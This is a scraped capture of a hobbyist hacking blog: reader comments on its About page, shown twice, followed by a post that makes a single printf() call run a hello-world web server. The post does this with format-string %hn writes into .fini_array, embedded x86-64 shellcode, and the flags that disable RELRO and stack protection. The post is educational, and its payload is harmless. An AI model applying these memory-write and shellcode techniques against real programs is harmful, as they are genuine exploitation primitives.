http://www-hk.linksys.com/servlet/Satellite?c=L_Content_C1&childpagename=HK%2FLayout&cid=1145862125829&pagename=Linksys%2FCommon%2FVisitorWrapper See under WAP4400N. cheers and keep on hacking… BMS Reply yohanes says: October 17, 2008 at 12:55 pm Hi Bruce thanks for the information, Yes, i found the source for WAP4400N when i started hacking Agestar, but there was some part missing from the Agestar kernel. Their kernel is based on Linux 2.4, and I have managed to port it to kernel 2.6. Reply nico says: November 16, 2008 at 10:20 pm hi yohanes, dari IF itb ya? masuk tahun berapa? aku 88 met kenal ya…. Reply nklogo says: March 12, 2009 at 10:18 pm link http://kildall.apana.org.au/~cjb/wordpress/archives/258 dead i want a serial port circuit Reply anacron says: July 17, 2009 at 4:21 am Sup! I’ve been trying to use agestar with cf to ide adapters and today with sd to ide adapter and with no luck, I wonder do you know if this is something related to the device itself, or maybe with kernel or something? It doesn’t boot up, correctly, I can’t get the ssh to work. When I plug the real harddrive in, it works like a charm. Reply Rubik2k says: September 3, 2009 at 10:22 am Hi Yohanes, You can found the GPL source for Procare eShare / Fibrionics F-Share (a very similar hardware based in STR9104 SoC), based on Linux 2.4.27, here: ftp://ftp.pearl.de/treiber/PX2019_12_80124.zip Best regards, Rubik2k at gmail dot com Reply ej says: October 10, 2009 at 1:44 am how do i buy the keyboard for wii? Reply kasaweb says: October 25, 2009 at 10:03 pm Hi, I’m trying to get my hand on “WELLAND ME-747AN-S”, a HDD NAS Enclosure with some wonderful spec (266MHz, 128MB RAM, 128M NAND Flash). I had no luck searching for a reseller that can ship to where I live, but I’m not giving up yet 🙂 My question was : How can I browse the content of a Yaffs2 partition image ? Because I found the firmware of this device, and I wanted to see how they configured it. Is there a way to do this without a real NAND Flash device ? Reply akamenov says: January 2, 2010 at 11:26 pm Hello. Maybe you can help me as there is no information on the NSB3AHT except for your site. In a foolish attempt to reset the device I’ve turned the device on while pressing the reset button. Now the network connectivity doesn’t work — it turns on for 3-4 seconds after device boot and then off. Is there any way to fix the device without connecting to the serial port? Reply joe says: April 21, 2010 at 5:39 pm thanks very much for the Bible apps that you did for free!!! i hope you do more Bible apps like dictionary & study books in the near future. pls notify me if you have done already. I use P1i. tyvm! [email protected] Reply James Mowery says: June 23, 2010 at 9:16 am Hello, I was wondering if you accept guest post for your blog. If you do, I would like to submit a few. You can see a sample of my work at LaptopComputers.org under the author James Mowery. I’ve also written for several high-profile blogs like Mashable, Perfromancing, and CMSWire. Thank you for your time. – James Reply Milan says: November 24, 2010 at 2:47 pm Dear Yohanes, I have one custom application to be make, I was wondering if you can make 1 for us. Pls contact as i m not having your contact details. Reply Mike says: August 29, 2011 at 2:16 am Hello Yohanes, I just got Tiny Meter for my Blackberry 9700. Very nice. One question I have is that when I first started the app, it asked for access to the Phone and won’t run if I don’t let it have access. I don’t understand why it needs Phone access. Can you explain? Thanks! Reply Marin says: December 28, 2011 at 9:39 pm Hi mate, I recently bricked my NAS device with CAVIUM CNS-2183 processor. Is there any way to flash it to his old img file? I cant find datasheet with explanation how to flash it and I see that you do something with it so if you have answer pls contact me with solution 🙂 Tnx Reply Ahmed says: January 3, 2012 at 8:46 pm Hi .. i was looking on google , how to root my device Acer betouch e130 and i found ur topic and i couldn’t understand much , right now i only need to ask you … if i can root my phone and how cos there is no app can root it and how i can the other stuff u tested on the phone 😀 waiting for your replay .. please add my Email [email protected] i really need your help , thanks in advance Reply roberto kaban says: March 24, 2014 at 4:11 am sangat lengkap sekali pembahasannya tentang Nusa. Reply zac mitchell says: April 12, 2014 at 10:24 pm hello I’ve enjoyed your emulator on wii. its great. recently I’ve tried to load a hard disk image called silverncastle. I can’t not for the life of me figure out how to load the file. I’ve shift f3. a fellow said maybe I had to load pro dos. please help iam very lost and confused and spent many hours trying to figure out how to load it. Reply Eitan Porat says: July 5, 2025 at 6:27 pm claude sends you here! it creates https://your-web-app-url.com/auth lol Reply Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. Δ Pages About Archive Search for: Search Follow x.com/yohanes Mastodon Recent Posts CVE-2025-31931 Arbitrary Shared Library Loading in Intel ITT API on Android (affects OpenCV <= 4.10) Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs Patching .so files of an installed Android App Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044 Zygisk-based reFlutter Recent Comments Eitan Porat on About admin on Using U-Boot to extract Boot Image from Pritom P7 lpt2007 on Using U-Boot to extract Boot Image from Pritom P7 admin on Using U-Boot to extract Boot Image from Pritom P7 lpt2007 on Using U-Boot to extract Boot Image from Pritom P7 Archives November 2025 March 2025 November 2024 June 2024 April 2024 January 2024 December 2023 September 2022 March 2021 January 2021 May 2019 January 2019 November 2018 July 2018 May 2018 February 2018 October 2017 September 2017 March 2017 November 2016 November 2015 July 2014 March 2014 February 2014 June 2013 January 2013 November 2011 March 2011 February 2011 July 2010 April 2010 January 2010 December 2009 September 2009 August 2009 June 2009 May 2009 April 2009 March 2009 February 2009 January 2009 December 2008 October 2008 September 2008 August 2008 July 2008 June 2008 May 2008 March 2008 February 2008 October 2007 June 2007 February 2007 January 2007 December 2006 Categories agestar android blog ctf debian flareon flex freebsd google hacks hardware hostmonster linux mac os x misc mobile opensource phone raspberry reverse-engineering sdr security Uncategorized wii writeup Meta Log in Entries feed Comments feed WordPress.org Tinyhack.com Proudly powered by WordPress | 2026-01-13T08:47:54 |
https://tinyhack.com/about/ | About – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. About My name is Yohanes Nugroho, I am an Indonesian programmer in a Software Company in Chiang Mai. In my spare time, I like to do programming. I have written many free and opensource software for many platforms . 31 thoughts on “About” Namik Tirak says: July 12, 2008 at 11:14 pm Hi, I have a FT3563-BT . I want to using debian on NAS like you. Can you make a frimware “xxxx.bin” to upgrade. Namik Best Regards. Reply gh1f4r says: July 22, 2008 at 11:20 am ” In my spare time, I like to do programming ” Luar biasa hobby-nya 🙂 Kapan aku bisa berguru ? Reply [email protected] says: July 22, 2008 at 6:25 pm need to know much about brontok..aomeone who know about brontok pls email me… Reply Wutipong W. says: August 15, 2008 at 1:31 am Hi, Your works with Agestar’s NAS is really interesting. I’ve just purchase one today and I’m thinking about trying to install Linux to it (would love to see it runs Gentoo). I’m a programmer too, but I don’t have much experience programing open source stuff (especially Linux). How’s the whether in Chaing Mai, it’s quite hot with rain in Bangkok. I’m looking for a chance to visit Chaing Mai some time :). Reply Silvina says: August 17, 2008 at 1:56 am Hi, I’m Silvina. I’ve used msgexport from march to july without a problem, you give me the solution for a big problem : to store my sms in a unique file. But I had a problem, I’ve updated my n95’s firmware to the last version, and I tryied to install the application once again and it gives me a certificate error. What can I do? Greetings, and thanks once again for the application. Silvina. Reply pebbie says: August 19, 2008 at 4:52 pm 😀 baru baca yang tentang kritik teknis Nusa.. 😀 ternyata ada yang nanggapin serius.. Reply yohanes says: August 19, 2008 at 9:45 pm @Wutipong: the weather is fine here. Many rains. I hope you have a good luck with your install. @Silvina: try redownloading the latest version. Reply zz says: September 24, 2008 at 11:47 am Try This product I think it better than AgeStar http://www.final4u.com/store/35-inch-hdd-nas-with-print-server-and-bit-torrent-p-9228.html Reply yohanes says: September 24, 2008 at 1:24 pm Hi zz What do you mean by better? I can’t find any review for it (or even the official product page for it), and from the specification, I think it has the same feature as Agestar. Reply zz says: September 24, 2008 at 10:20 pm I think it too.. , I cannot found any more information too.. I’m using NSLU2 , It very slow to run debian-arm,I think it not much ram to run , same Agestar ( ram 32 / flash 8) Reply zz says: September 25, 2008 at 6:23 pm Sorry I just saw real product I think performance same Agestar it using ram v58c2256164 and flash EN29LV640H Reply anacron says: October 2, 2008 at 5:47 pm Hello, I was just thinking with your agestar hacking, Which is really awesome job btw, is there a possibility to attach another drive or printer in agestar with the regular firmware, but when running debian, can it be used as a normal usb-port? can you attach any usb-device to it (of course which is supported by debian and the kernel) I had this idea, what if I would put a usb soundcard to it, I could have really small remote mp3-player in my livingroom, which could be controlled by any computer, that would be really nice, but as well if it would support other stuff as well, like bluetooth and such, it would make have debian in agestar much more usefull. Greetings from Finland Reply yohanes says: October 2, 2008 at 10:09 pm Hello, I was just thinking with your agestar hacking, Which is really awesome job btw, is there a possibility to attach another drive or printer in agestar with the regular firmware, but when running debian, can it be used as a normal usb-port? With the debian firmware, you can still use agestar as normal USB port (but you should shut it down using the shutdown command to make sure that all cache have been written to disk). can you attach any usb-device to it (of course which is supported by debian and the kernel) I had this idea, what if I would put a usb soundcard to it, I could have really small remote mp3-player in my livingroom, which could be controlled by any computer, that would be really nice, but as well if it would support other stuff as well, like bluetooth and such, it would make have debian in agestar much more usefull. Greetings from Finland Theoretically you should be able to attach any USB device to agestar, I only tried using USB to network adapter when developing the network driver and several USB disk, and everthyng works fine Regarding your idea about audio, because NSLU2 is a little bit more powerful (little bit faster, same memory) compared to Agestar, I look around to see if someone else has done it before. From the information in here: http://www.hermann-uwe.de/blog/playing-audio-on-the-nslu2 I tried madplay, and because i don’t have a USB audio device, i tried writing to device NULL, and it took 1 minute 5 seconds to decode a music file of 4 minutes 11 seconds. I also tried writing the decoded mp3 to file and it took 1 minute 36 seconds to decode. The decoding time is much faster than real time, so it seems the CPU in the Agestar is powerful enough to play MP3. (note: i also tried mplayer, and as he said it doesn’t work) Reply Bruce M Simpson says: October 14, 2008 at 3:41 pm I received a reply from Cavium about the STR9104. There are downloadable GPLed materials here: http://www-hk.linksys.com/servlet/Satellite?c=L_Content_C1&childpagename=HK%2FLayout&cid=1145862125829&pagename=Linksys%2FCommon%2FVisitorWrapper See under WAP4400N. cheers and keep on hacking… BMS Reply yohanes says: October 17, 2008 at 12:55 pm Hi Bruce thanks for the information, Yes, i found the source for WAP4400N when i started hacking Agestar, but there was some part missing from the Agestar kernel. Their kernel is based on Linux 2.4, and I have managed to port it to kernel 2.6. Reply nico says: November 16, 2008 at 10:20 pm hi yohanes, dari IF itb ya? masuk tahun berapa? aku 88 met kenal ya…. Reply nklogo says: March 12, 2009 at 10:18 pm link http://kildall.apana.org.au/~cjb/wordpress/archives/258 dead i want a serial port circuit Reply anacron says: July 17, 2009 at 4:21 am Sup! I’ve been trying to use agestar with cf to ide adapters and today with sd to ide adapter and with no luck, I wonder do you know if this is something related to the device itself, or maybe with kernel or something? It doesn’t boot up, correctly, I can’t get the ssh to work. When I plug the real harddrive in, it works like a charm. Reply Rubik2k says: September 3, 2009 at 10:22 am Hi Yohanes, You can found the GPL source for Procare eShare / Fibrionics F-Share (a very similar hardware based in STR9104 SoC), based on Linux 2.4.27, here: ftp://ftp.pearl.de/treiber/PX2019_12_80124.zip Best regards, Rubik2k at gmail dot com Reply ej says: October 10, 2009 at 1:44 am how do i buy the keyboard for wii? Reply kasaweb says: October 25, 2009 at 10:03 pm Hi, I’m trying to get my hand on “WELLAND ME-747AN-S”, a HDD NAS Enclosure with some wonderful spec (266MHz, 128MB RAM, 128M NAND Flash). I had no luck searching for a reseller that can ship to where I live, but I’m not giving up yet 🙂 My question was : How can I browse the content of a Yaffs2 partition image ? Because I found the firmware of this device, and I wanted to see how they configured it. Is there a way to do this without a real NAND Flash device ? Reply akamenov says: January 2, 2010 at 11:26 pm Hello. Maybe you can help me as there is no information on the NSB3AHT except for your site. In a foolish attempt to reset the device I’ve turned the device on while pressing the reset button. Now the network connectivity doesn’t work — it turns on for 3-4 seconds after device boot and then off. Is there any way to fix the device without connecting to the serial port? Reply joe says: April 21, 2010 at 5:39 pm thanks very much for the Bible apps that you did for free!!! i hope you do more Bible apps like dictionary & study books in the near future. pls notify me if you have done already. I use P1i. tyvm! [email protected] Reply James Mowery says: June 23, 2010 at 9:16 am Hello, I was wondering if you accept guest post for your blog. If you do, I would like to submit a few. You can see a sample of my work at LaptopComputers.org under the author James Mowery. I’ve also written for several high-profile blogs like Mashable, Perfromancing, and CMSWire. Thank you for your time. – James Reply Milan says: November 24, 2010 at 2:47 pm Dear Yohanes, I have one custom application to be make, I was wondering if you can make 1 for us. Pls contact as i m not having your contact details. Reply Mike says: August 29, 2011 at 2:16 am Hello Yohanes, I just got Tiny Meter for my Blackberry 9700. Very nice. One question I have is that when I first started the app, it asked for access to the Phone and won’t run if I don’t let it have access. I don’t understand why it needs Phone access. Can you explain? Thanks! Reply Marin says: December 28, 2011 at 9:39 pm Hi mate, I recently bricked my NAS device with CAVIUM CNS-2183 processor. Is there any way to flash it to his old img file? I cant find datasheet with explanation how to flash it and I see that you do something with it so if you have answer pls contact me with solution 🙂 Tnx Reply Ahmed says: January 3, 2012 at 8:46 pm Hi .. i was looking on google , how to root my device Acer betouch e130 and i found ur topic and i couldn’t understand much , right now i only need to ask you … if i can root my phone and how cos there is no app can root it and how i can the other stuff u tested on the phone 😀 waiting for your replay .. please add my Email [email protected] i really need your help , thanks in advance Reply roberto kaban says: March 24, 2014 at 4:11 am sangat lengkap sekali pembahasannya tentang Nusa. Reply zac mitchell says: April 12, 2014 at 10:24 pm hello I’ve enjoyed your emulator on wii. its great. recently I’ve tried to load a hard disk image called silverncastle. I can’t not for the life of me figure out how to load the file. I’ve shift f3. a fellow said maybe I had to load pro dos. please help iam very lost and confused and spent many hours trying to figure out how to load it. Reply Eitan Porat says: July 5, 2025 at 6:27 pm claude sends you here! it creates https://your-web-app-url.com/auth lol Reply Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. Δ Pages About Archive Search for: Search Follow x.com/yohanes Mastodon Recent Posts CVE-2025-31931 Arbitrary Shared Library Loading in Intel ITT API on Android (affects OpenCV <= 4.10) Decrypting Encrypted files from Akira Ransomware (Linux/ESXI variant 2024) using a bunch of GPUs Patching .so files of an installed Android App Extracting WhatsApp Database (or any app data) from Android 12/13 using CVE-2024-0044 Zygisk-based reFlutter Recent Comments Eitan Porat on About admin on Using U-Boot to extract Boot Image from Pritom P7 lpt2007 on Using U-Boot to extract Boot Image from Pritom P7 admin on Using U-Boot to extract Boot Image from Pritom P7 lpt2007 on Using U-Boot to extract Boot Image from Pritom P7 Archives November 2025 March 2025 November 2024 June 2024 April 2024 January 2024 December 2023 September 2022 March 2021 January 2021 May 2019 January 2019 November 2018 July 2018 May 2018 February 2018 October 2017 September 2017 March 2017 November 2016 November 2015 July 2014 March 2014 February 2014 June 2013 January 2013 November 2011 March 2011 February 2011 July 2010 April 2010 January 2010 December 2009 September 2009 August 2009 June 2009 May 2009 April 2009 March 2009 February 2009 January 2009 December 2008 October 2008 September 2008 August 2008 July 2008 June 2008 May 2008 March 2008 February 2008 October 2007 June 2007 February 2007 January 2007 December 2006 Categories agestar android blog ctf debian flareon flex freebsd google hacks hardware hostmonster linux mac os x misc mobile opensource phone raspberry reverse-engineering sdr security Uncategorized wii writeup Meta Log in Entries feed Comments feed WordPress.org Tinyhack.com Proudly powered by WordPress | 2026-01-13T08:47:54 |
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https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/#comment-48019 | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler 